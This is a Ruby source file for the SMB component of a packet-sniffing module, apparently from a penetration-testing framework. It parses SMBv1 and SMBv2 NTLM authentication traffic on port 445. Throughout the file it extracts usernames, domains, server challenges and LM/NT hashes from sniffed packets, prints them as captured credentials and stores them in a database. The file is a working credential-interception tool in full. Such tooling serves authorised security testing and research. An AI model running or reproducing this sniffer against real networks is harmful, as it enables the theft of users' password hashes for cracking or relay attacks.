212 lines
7.3 KiB
Ruby
Executable File
212 lines
7.3 KiB
Ruby
Executable File
# Psnuffle password sniffer add-on class for smb
|
|
# part of psnuffle sniffer auxiliary module
|
|
#
|
|
# When db is available reports go into db
|
|
#
|
|
|
|
#Memo :
|
|
#FOR SMBV1
|
|
# Authentification without extended security set
|
|
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
|
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
|
|
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
|
|
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
|
|
|
|
# Authentification with extended security set
|
|
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
|
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
|
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
|
|
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
|
|
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
|
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
|
#FOR SMBV2
|
|
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
|
|
|
class SnifferSMB < BaseProtocolParser
|
|
|
|
def register_sigs
|
|
self.sigs = {
|
|
:smb1_negotiate => /\xffSMB\x72/n,
|
|
:smb1_setupandx => /\xffSMB\x73/n,
|
|
#:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n,
|
|
:smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n
|
|
}
|
|
end
|
|
|
|
def parse(pkt)
|
|
# We want to return immediatly if we do not have a packet which is handled by us
|
|
return unless pkt.is_tcp?
|
|
return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445)
|
|
s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt))
|
|
|
|
self.sigs.each_key do |k|
|
|
# There is only one pattern per run to test
|
|
matched = nil
|
|
matches = nil
|
|
|
|
if(pkt.payload =~ self.sigs[k])
|
|
matched = k
|
|
matches = $1
|
|
end
|
|
|
|
case matched
|
|
when :smb1_negotiate
|
|
payload = pkt.payload.dup
|
|
wordcount = payload[36,1].unpack("C")[0]
|
|
#negotiate response
|
|
if wordcount == 17
|
|
flags2 = payload[14,2].unpack("v")[0]
|
|
#the server challenge is here
|
|
if flags2 & 0x800 == 0
|
|
s[:challenge] = payload[73,8].unpack("H*")[0]
|
|
s[:last] = :smb1_negotiate
|
|
end
|
|
end
|
|
|
|
when :smb1_setupandx
|
|
s[:smb_version] = "SMBv1"
|
|
parse_sessionsetup(pkt, s)
|
|
when :smb2_setupandx
|
|
s[:smb_version] = "SMBv2"
|
|
parse_sessionsetup(pkt, s)
|
|
when nil
|
|
# No matches, no saved state
|
|
else
|
|
sessions[s[:session]].merge!({k => matches})
|
|
end # end case matched
|
|
|
|
end # end of each_key
|
|
end # end of parse
|
|
|
|
#ntlmv1, ntlmv2 or ntlm2_session
|
|
def detect_ntlm_ver(lmhash, ntlmhash)
|
|
return "NTLMv2" if ntlmhash.length > 48
|
|
if lmhash.length == 48 and ntlmhash.length == 48
|
|
if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16
|
|
return "NTLM2_SESSION"
|
|
else
|
|
return "NTLMv1"
|
|
end
|
|
else
|
|
raise RuntimeError, "Unknow hash type"
|
|
end
|
|
end
|
|
|
|
def parse_sessionsetup(pkt, s)
|
|
payload = pkt.payload.dup
|
|
ntlmpayload = payload[/NTLMSSP\x00.*/m]
|
|
if ntlmpayload
|
|
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
|
|
case ntlmmessagetype
|
|
when 2 # challenge
|
|
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
|
|
s[:last] = :ntlm_type2
|
|
when 3 # auth
|
|
if s[:last] == :ntlm_type2
|
|
lmlength = ntlmpayload[12, 2].unpack("v")[0]
|
|
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
|
|
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
|
|
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
|
|
domainlength = ntlmpayload[28, 2].unpack("v")[0]
|
|
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
|
|
usrlength = ntlmpayload[36, 2].unpack("v")[0]
|
|
usroffset = ntlmpayload[40, 2].unpack("v")[0]
|
|
|
|
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
|
|
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
|
|
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
|
|
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
|
|
|
|
secbloblength = payload[51,2].unpack("v")[0]
|
|
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
s[:peer_os] = names[0] || ''
|
|
s[:peer_lm] = names[1] || ''
|
|
s[:last] = :ntlm_type3
|
|
end
|
|
end
|
|
else
|
|
wordcount = payload[36,1].unpack("C")[0]
|
|
#authentification without smb extended security (smbmount, msf server capture)
|
|
if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1"
|
|
lmlength = payload[51,2].unpack("v")[0]
|
|
ntlmlength = payload[53,2].unpack("v")[0]
|
|
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
|
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
|
|
|
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
|
|
|
s[:user] = names[0]
|
|
s[:domain] = names[1]
|
|
s[:peer_os] = names[2]
|
|
s[:peer_lm] = names[3]
|
|
s[:last] = :smb_no_ntlm
|
|
else
|
|
#answer from server
|
|
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
|
#do not output anonymous/guest logging
|
|
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
|
#set lmhash to a default value if not provided
|
|
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
|
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
|
|
|
smb_status = payload[9,4].unpack("V")[0]
|
|
if smb_status == 0 # success
|
|
|
|
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
|
|
|
|
logmessage =
|
|
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
|
|
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
|
"SERVER CHALLENGE:#{s[:challenge]} " +
|
|
"\nLMHASH:#{s[:lmhash]} " +
|
|
"\nNTHASH:#{s[:ntlmhash]}\n"
|
|
print_status(logmessage)
|
|
|
|
src_ip = s[:client_host]
|
|
dst_ip = s[:host]
|
|
# know this is ugly , last code added :-/
|
|
smb_db_type_hash = case ntlm_ver
|
|
when "NTLMv1" then "smb_netv1_hash"
|
|
when "NTLM2_SESSION" then "smb_netv1_hash"
|
|
when "NTLMv2" then "smb_netv2_hash"
|
|
end
|
|
# DB reporting
|
|
report_auth_info(
|
|
:host => dst_ip,
|
|
:port => 445,
|
|
:sname => 'smb',
|
|
:user => s[:user],
|
|
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
|
:type => smb_db_type_hash,
|
|
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
|
:active => true
|
|
)
|
|
|
|
report_note(
|
|
:host => src_ip,
|
|
:type => "smb_peer_os",
|
|
:data => s[:peer_os]
|
|
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
|
|
|
|
report_note(
|
|
:host => src_ip,
|
|
:type => "smb_peer_lm",
|
|
:data => s[:peer_lm]
|
|
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
|
|
|
|
report_note(
|
|
:host => src_ip,
|
|
:type => "smb_domain",
|
|
:data => s[:domain]
|
|
) if (s[:domain] and s[:domain].strip.length > 0)
|
|
|
|
end
|
|
end
|
|
end
|
|
s[:last] = nil
|
|
sessions.delete(s[:session])
|
|
end
|
|
end
|
|
end
|
|
end
|